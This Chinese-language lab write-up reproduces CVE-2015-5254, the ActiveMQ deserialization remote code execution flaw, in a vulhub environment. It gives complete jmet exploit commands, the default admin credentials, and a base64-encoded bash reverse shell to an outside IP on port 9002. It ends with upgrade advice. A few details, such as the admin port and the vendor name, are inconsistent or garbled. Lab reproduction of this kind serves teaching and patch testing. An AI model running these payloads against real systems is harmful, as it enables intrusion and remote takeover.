ActiveMQ 反序列化漏洞
Apache ActiveMQ是一种开源的消息代理(message broker),被广泛用于应用程序之间的消息传递。它提供可靠的消息传递模式,如发布/订阅、点对点和请求/响应,非常适合构建分布式系统和应用程序集成。ActiveMQ支持多种消息协议,包括JMS(Java消息服务)、AMQP(高级消息队列协议)和STOMP(简单文本传输协议),使得它能够与不同的客户端和应用程序进行通信。它还提供了高可用性、消息持久化、消息过滤、事务支持等功能,使得开发者能够构建可靠、可扩展的消息传递系统。
说明 | 内容 |
---|---|
漏洞编号 | CVE-2015-5254 |
漏洞名称 | ActiveMQ 反序列化漏洞 |
漏洞评级 | 高危 |
影响范围 | ActiveMQ 5.13.0以前版本 |
漏洞描述 | java反序列化任意代码执行 |
修复方案 | 升级到Apache ActiveMQ 5.13.0及以上版本 |
漏洞描述
Apache ActiveMQ是由美国Pachitea(Apache)软件基金会开发的开源消息中间件,支持Java消息服务、集群、Spring框架等。
CVE-2015-5254:该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的java消息服务(JMS)ObjectMessage对象利用该漏洞执行任意代码。
漏洞等级
评定方式 | 等级 |
---|---|
威胁等级 | 严重 |
影响面 | 广泛 |
基础环境
- www.vulhub.org
- cd …/vulhub/activemq/CVE-2015-5254
- docker compose up -d
漏洞复现
漏洞利用过程如下:
- 构造可执行命令的java序列化对象(ysoserial集合了各种java反序列化payload,而jmet集成了ysoserial)
- 将序列化对象作为一个消息,发送给目标61616工作端口
- 访问web管理页面➡读取消息➡触发漏洞
漏洞复现
环境搭建好后访问your-ip:8186,出现这个页面表示环境搭建成功。
ActiveMQ:8186 管理端口, 61616 默认服务端口 。
kali中下载jmet的jar包,里面集成了ysoserial,运行jar包jdk环境要对应,我的jdk是1.8版本,jdk17执行失败了。
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
下载后同目录下创建一个external文件夹,否则可能会出错。
执行以下代码发送一个消息给服务器
java -jar jmet-0.1.0-all.jar -Q myevent -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 114.115.172.115 61616
-Q myevent:指定要投递的事件名称。jmet会使用该事件名称的payload封装成消息投递。
-I ActiveMQ:指定目标类型,这里使用ActiveMQ。
-s:表示使用序列化方式执行攻击。
-Y “touch /tmp/success”:指定要执行的命令。
-Yp ROME:指定使用ysoserial生成的ROMEpayload。ROME能生成TemplatesImpl对象的payload。
114.115.172.115 61616:指定目标ActiveMQ的地址和端口。
访问:http://your.ip:8161/admin/browse.jsp?JMSDestination=event
默认账号密码:admin,admin
当点击消息的时候我们的命令将会被执行。
当点击了这条消息后我们的命令就被触发执行了,说明是有这个漏洞的。
反弹shell
想要执行反弹shell我们需要对反弹shell命令做一个base64编码才可以执行,要么会执行失败。
首先准备好一个反弹shell,然后base64编码
bash -i >& /dev/tcp/114.115.172.115/9002 0>&1
https://ctf.bugku.com/tool/base64 #编码网站
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE1LjE3Mi4xMTUvOTAwMiAwPiYx
再次向服务器发送消息,ActiveMQ的消息队列中会增加一条,当这条被点击的时候我们的反弹shell也就会被执行。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE1LjE3Mi4xMTUvOTAwMiAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 114.115.172.115 61616
点击一下
我们服务器监听的地方就可以拿到一个反弹shell了。
修复建议
1、升级到Apache ActiveMQ 5.13.0及以上版本或更新补丁。
网址如下:
http://activemq.apache.org/security-advisories.data